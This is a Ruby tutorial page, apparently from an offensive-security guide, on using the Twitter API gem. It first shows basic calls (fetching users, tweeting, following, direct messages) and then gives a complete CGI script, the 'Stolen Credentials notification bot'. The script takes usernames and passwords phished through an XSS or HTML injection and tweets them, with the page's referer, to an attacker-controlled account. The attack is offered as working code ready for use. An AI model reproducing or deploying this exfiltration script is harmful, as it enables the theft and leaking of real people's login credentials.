Twitter API

Dealing with Twitter’s API is really useful for information gathering, taxonomy and social engineering. However, you have to have some keys and tokens in-order to interact with Twitter’s APIs. To do so, please refer to the official Twitter development page.

• Install Twitter API gem

  gem install twitter

Basic Usage

rubyfu-tweet.rb

#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'twitter'
require 'pp'
client = Twitter::REST::Client.new do |config|
        config.consumer_key        = "YOUR_CONSUMER_KEY"
        config.consumer_secret     = "YOUR_CONSUMER_SECRET"
        config.access_token        = "YOUR_ACCESS_TOKEN"
        config.access_token_secret = "YOUR_ACCESS_SECRET"
end
puts client.user("Rubyfu")                   # Fetch a user
puts client.update("@Rubyfu w00t! #Rubyfu")  # Tweet (as the authenticated user)
puts client.follow("Rubyfu")                 # Follow User (as the authenticated user)
puts client.followers("Rubyfu")              # Fetch followers of a user
puts client.followers                        # Fetch followers of current user
puts client.status(649235138585366528)       # Fetch a particular Tweet by ID
puts client.create_direct_message("Rubyfu", "Hi, I'm KINGSABRI")    # Send direct message to a particular user

Your turn, tweet to @Rubyfu using above example. Tweet your code and output to @Rubyfu.

Building Stolen Credentials notification bot

We’re exploiting an XSS/HTML injection vulnerability and tricking users to enter there Username and Password. The idea is, We’ll make a CGI script that takes that stolen credentials then tweet these credentials to us as notification or log system

#!/usr/bin/ruby -w
require 'cgi'
require 'uri'
require 'twitter'
cgi  = CGI.new
puts cgi.header
user = CGI.escape cgi['user']
pass = CGI.escape cgi['pass']
time = Time.now.strftime("%D %T")
client = Twitter::REST::Client.new do |config|
        config.consumer_key        = "YOUR_CONSUMER_KEY"
        config.consumer_secret     = "YOUR_CONSUMER_SECRET"
        config.access_token        = "YOUR_ACCESS_TOKEN"
        config.access_token_secret = "YOUR_ACCESS_SECRET"
end
client.user("KINGSABRI")
if cgi.referer.nil? or cgi.referer.empty?
    # Twitter notification | WARNING! It's tweets, make sure your account is protected!!!
    client.update("[Info] No Referer!\n" + "#{CGI.unescape user}:#{CGI.unescape pass}")
else
    client.update("[Info] #{cgi.referer}\n #{CGI.unescape user}:#{CGI.unescape pass}")
end
puts ""
